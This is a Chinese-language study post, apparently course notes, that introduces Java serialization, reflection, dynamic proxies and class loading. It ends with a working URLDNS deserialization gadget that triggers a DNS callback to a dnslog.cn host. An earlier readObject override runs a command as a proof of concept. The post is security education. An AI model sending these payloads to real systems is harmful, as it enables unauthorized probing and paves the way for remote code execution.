Java反序列化(1)—— 基础入门

写在前面

这部分的内容主要对B站UP白日梦组长的Java反序列化漏洞系列教程的学习,非常好的教程,受益良多👍

由于本人Java仅仅是Hello World的水平,学习的过程大量借助ChatGPT的辅助,所以部分内容的理解可能会有偏差

但你也没法指正我哈哈😁

Anyway, have fun~

基础知识

序列化/反序列化

重点是ObjectOutputStream类的writeObject方法将一个对象序列化为一个字符串,和ObjectInputStream类的readObject方法将一串字符串反序列化为一个对象。

ObjectOutputStream out = new ObjectOutputStream(outputstream);
out.writeObject(t);

ObjectInputStream in = new ObjectInputStream(inputstream);
Object obj = in.readObject();

注意,序列化的对象要继承Serializable接口。例子:
Person.java

package secss;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    public String name = "noname";
    private int age = -1;

    Person(){}
    
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person " + name + " is " + age;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

SerTest.java

package secss;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("persion.ser"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void main(String[] args) throws Exception{
        Person p = new Person("sky", 18);
//        System.out.println(p);
        serialize(p);
    }
}

UnSerTest.java

package secss;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        Person p = (Person)unserialize("Persion.ser");
        System.out.println(p);
    }
}

反射

获取一个原型类的方法

Person p = new Person();
Class c = p.getClass();		// 对一个实例使用getClass()方法
Class c = Class.forName("secss.Person");	// 参数是完全限定的类名(带上包)
Class<?> stringClass = String.class;	// 类名.class
Class c = ClassLoader.getSystemClassLoader().loadClass("Pseron"); 	// Classloader加载

而反射本质上是操作这个原型类。首先是实例化

// 构造函数在没有参数的情况下直接用newInstance
Person p0 = (Person) c.newInstance();    
System.out.println(p0);

// 构造函数在有参数的情况下,先用getConstructor获取构造函数
Constructor personconstructor = c.getConstructor(String.class, int.class);  // 传入的参数是Class类型,对应形参的数据类型
Person p1 = (Person) personconstructor.newInstance("sky", 18);	// 构造函数的用newInstance创建对象
System.out.println(p1);

然后是操作属性,四个方法getField、getFields、getDeclaredField、getDeclaredFields

Field[] personfields = c.getFields();   // 获取所有属性,无法获取私有类型
for (Field f : personfields) {
    System.out.println(f);
}

Field[] personDeclaredfields = c.getDeclaredFields();   // 获取所有属性,可以获取私有类型
for (Field f : personDeclaredfields) {
    System.out.println(f);
}

Field personage = c.getDeclaredField("age");	// 获取age属性
personage.setAccessible(true);	// 因为是private,修改值要用setAccessible设置为True
personage.set(p0, 100);		// 修改值,指定一个对象是必须的
System.out.println(p0)		// 查看修改结果

然后是方法调用,和属性类似也有四个方法getMethod、getMethods、getDeclaredMethod、getDeclaredMethods

Method personaction = c.getMethod("action", String.class);		// 同样要指定传入参数的类型
personaction.invoke(p0, "skyskysky");	// 第一个参数是对象

动态代理

newProxyInstance——创建一个动态代理类,参数说明

例子:

IUser user = new IUserImpl();

IUser uu = (IUser)Proxy.newProxyInstance(
        user.getClass().getClassLoader(),
        new Class[]{IUser.class},	// 按照class数组的形式传
        userproxy	// 一个InvocationHandler类
);

然后写一个类继承InvocationHandler

代码

package secss;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser user;
    public UserInvocationHandler(){}

    public UserInvocationHandler(IUser user){
        this.user = user;	// 实例化的时候传入需要代理的对象
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Invoke " + method.getName());
        method.invoke(user, args);
        return null;
    }
}


method使用方法和反射的一样

动态代理的利用:动态代理类无论调用什么方法,都会走一遍invoke。

类加载


初始化:静态代码块
实例化(使用):构造代码块、构造函数

实验代码:

Class c = Game.class;   // 只会加载类
Class.forName("secss.Game");    // 默认会初始化类
Class.forName("secss.Game", false, ClassLoader.getSystemClassLoader());     // 不会初始化
ClassLoader cl = ClassLoader.getSystemClassLoader();
cl.loadClass("secss.Game");     // 不进行初始化

Game类:

public class Game {
    public static int i = 1;
    static {
        System.out.println("静态代码块");
    }
    public static void staticAction(){
        System.out.println("静态方法");
    }
    {
        System.out.println("构造代码块");
    }
    public Game(){
        System.out.println("无参构造方法");
    }
    public Game(int i){
        System.out.println("有参构造方法");
    }
}

双亲委派流程

  1. 检查类是否已加载:首先,它调用findLoadedClass方法来检查该类是否已经被加载到内存中。如果已加载,则直接返回该类的Class对象。
  2. 使用父类加载器:如果类还没有被加载,则检查是否有父类加载器存在。如果有,它会尝试使用父类加载器来加载这个类。如果父类加载器可以加载这个类,它就会这样做,否则,流程会继续。
  3. 使用Bootstrap ClassLoader:如果没有父类加载器或父类加载器无法加载该类,那么将使用Bootstrap ClassLoader来尝试加载它。Bootstrap ClassLoader是JVM的一部分,它可以加载核心Java类库(比如java.lang.*)。
  4. 使用当前类加载器的 findClass 方法:如果前面的步骤都失败了,那么它会调用当前类加载器的findClass方法来尝试加载这个类。这是你可以覆写的一个方法,以实现你自己的类加载逻辑。
  5. 调用 defineClass 方法:如果findClass方法找到了类的字节码,它应该使用defineClass方法来注册这个类到JVM中。
  6. 链接类:最后,如果loadClass方法被调用时传递的resolve参数是true,它还将调用resolveClass方法来链接这个类。链接确保类可以被正确使用,它涉及验证类文件和初始化静态变量等步骤。

视频对下面这个调用链有详细的调试:

URLClassLoader 任意类加载:file/http/jar
ClassLoader.defineClass 字节码加载任意类 私有
Unsafe.defineClass 字节码加载 public 类不能直接生成 Spring 里面可以直接生成

一个简单的反序列化漏洞利用——URL DNS链

入口类HashMap,重写了readObject

在解析key/value的部分调用了hash函数

hash调用了key的hashcode方法

现在找一个类,它的hashCode方法存在利用点。

URL类可以让你通过URL去连接网络服务器并获取资源,它的hashCode方法为

在hashCode值不为-1时(hashCode初始值为-1),会调用handler的hashCode方法,同时修改hashCode的值。

跟进这个hashCode方法,有一个DNS解析的功能。

所以一个简单的利用就出来了

HashMap<URL, Integer> h = new HashMap<>();
h.put(new URL("http://p63utd.dnslog.cn/"), 1);
serialize(h);

但是这里存在一个问题,HashMap的put方法会调用一次hashCode方法。

它会将hashCode的值提前修改,进而无法在服务端执行hashCode方法。

使用反射来解决这一问题

HashMap<URL, Integer> h = new HashMap<>();
URL url = new URL("http://sk555.t0vgmg.dnslog.cn/");

Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);

hashCodeField.set(url, 555);	// 在put前修改hashCode的值,避免序列化的时候本地发起DNS请求
h.put(url, 1);
hashCodeField.set(url, -1);		// put之后改为-1

serialize(h);

HashMap.readObject -> URL.hashCode()